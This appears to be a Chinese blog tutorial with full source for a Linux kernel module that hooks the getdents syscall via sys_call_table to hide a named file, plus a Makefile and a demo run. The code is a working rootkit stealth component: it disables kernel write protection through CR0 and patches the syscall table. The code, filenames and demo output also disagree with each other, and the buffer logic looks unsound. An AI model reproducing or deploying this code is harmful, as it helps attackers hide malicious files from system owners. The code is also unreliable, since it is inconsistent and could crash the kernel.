Linux 文件/文件夹隐藏(hook getdents)
前面讲的都是一些基础,比如说拿到sys_call_table地址,简单的hook某个函数,这一节做一个文件/文件夹隐藏,就是hook住文件枚举API --> getdents()&getdents64()fshid.c#include <linux/init.h>#include <linux/module.h>#include <linux/sysca
·
前面讲的都是一些基础,比如说拿到sys_call_table地址,简单的hook某个函数,这一节做一个文件/文件夹隐藏,就是hook住文件枚举API --> getdents()&getdents64()
fshid.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/slab.h>
#include <linux/kern_levels.h>
#include <linux/gfp.h>
#include <asm/unistd.h>
#include <asm/paravirt.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xxxxx");
MODULE_DESCRIPTION("Hide File Module");
MODULE_VERSION("1.0");
//初始化sys_call_table
unsigned long **SYS_CALL_TABLE;
//使能内存写保护
void EnablePageWriting(void)
{
write_cr0(read_cr0() & (~0x10000));
}
//disable 内存写保护
void DisablePageWriting(void)
{
write_cr0(read_cr0() | 0x10000);
}
//define our origional function.
/*
int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
*/
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
char d_name[]; // the struct value is actually longer than this, and d_name is variable width.
};
struct linux_dirent_Temporary {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
char d_name[]; // the struct value is actually longer than this, and d_name is variable width.
}*dirp2 , *dirp3 , *retn;
char hide[]="hidefile.txt";
asmlinkage int ( *original_getdents ) (unsigned int fd, struct linux_dirent *dirp, unsigned int count);
//Create Our version of Open Function.
asmlinkage int HookGetDents(unsigned int fd, struct linux_dirent *dirp, unsigned int count)
{
unsigned int records;
unsigned int tmp = 0;
int Found = 0;
unsigned int bytescoppied;
struct linux_dirent *dirp2, *dirp3 , *retn;
records = (*original_getdents)(fd, dirp, count);
if(records > 0)
{
dirp2 = (struct linux_dirent *)kmalloc(records, GFP_KERNEL);
copy_from_user(dirp2, dirp, records);
retn = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); // Create Mem space for second
memset(retn, 0 , sizeof(*retn));
//copy_from_user(dirp2, dirp, records);
dirp3 = dirp2;
//retn = dirp2;
tmp = records;
while(tmp > 0) // Our loop here to iterate through the structs
{
tmp -= dirp3->d_reclen;
//memmove(retn, (char *) dirp3 , tmp);
// Search for File...
if( (strstr(dirp3->d_name, hide) != NULL))
{
if(tmp != 0){
Found = 1;
//printk(KERN_INFO "<<<<< %s " , retn->d_name);
memcpy(retn, (char *) dirp3+dirp3->d_reclen , records );
records -= dirp3->d_reclen; // Not sure if this does anything
//printk(KERN_INFO ">>>>>> %s " , retn->d_name);
}
else {
dirp3->d_off = 1024;
}
records -= dirp3->d_reclen;
}
else{ // If file not found..// copy current struct item
if( Found ){ //then from here we shall be copying one struct ahead to not have duplicates
memcpy(retn, (char *) dirp3+dirp3->d_reclen , records );
}else{
memcpy(retn, (char *) dirp3 , tmp );
}
}
if (tmp != 0) {
// printk(KERN_INFO "File Found %s " , retn->d_name);
// Moving to the next Dirent Struct
dirp3 = (struct linux_dirent *)((char *) dirp3 + dirp3->d_reclen);
}
}
bytescoppied = copy_to_user(dirp2, retn, records );
//copy_to_user(dirp2, retn, records);
bytescoppied = copy_to_user(dirp, dirp2, records);
//bytescoppied = memcpy(dirp, (char *) dirp3 , tmp );
//printk(KERN_INFO "Bytes Coppied %u " , records);
kfree(dirp2);
kfree(retn);
}
return records;
}
// Set up hooks.
static int __init SetHooks(void) {
// Gets Syscall Table **
SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "Hooks Will Be Set.\n");
printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);
// Opens the memory pages to be written
EnablePageWriting();
// Replaces Pointer Of Syscall_open on our syscall.
original_getdents = (void*)SYS_CALL_TABLE[__NR_getdents];
SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)HookGetDents;
DisablePageWriting();
return 0;
}
static void __exit HookCleanup(void) {
// Clean up our Hooks
EnablePageWriting();
SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)original_getdents;
DisablePageWriting();
printk(KERN_INFO "HooksCleaned Up!");
}
module_init(SetHooks);
module_exit(HookCleanup);
Makefile:
obj-m :=fshid.o
KERNEL := /lib/modules/$(shell uname -r)/build
all:
make -C $(KERNEL) M=$(shell pwd) modules
install:
make -C $(KERNEL) M=$(shell pwd) modules_install
depmod -A
clean:
make -C $(KERNEL) M=$(shell pwd) clean
char hide[]=“hidefile.txt”; --> 指定需要隐藏的文件名
curtis@curtis-virtual-machine:~/Desktop/file_hide$ make
make -C /lib/modules/4.2.0-42-generic/build M=/home/curtis/Desktop/file_hide modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-42-generic'
CC [M] /home/curtis/Desktop/file_hide/test.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/curtis/Desktop/file_hide/test.mod.o
LD [M] /home/curtis/Desktop/file_hide/test.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-42-generic'
curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls
Makefile Module.symvers test.c test.mod.c test.o
modules.order secretfile.txt test.ko test.mod.o
curtis@curtis-virtual-machine:~/Desktop/file_hide$ sudo insmod test.ko
curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls
Makefile Module.symvers test.ko test.mod.o
modules.order test.c test.mod.c test.o
curtis@curtis-virtual-machine:~/Desktop/file_hide$
成功隐藏自定义文件。
更多推荐
已为社区贡献3条内容
所有评论(0)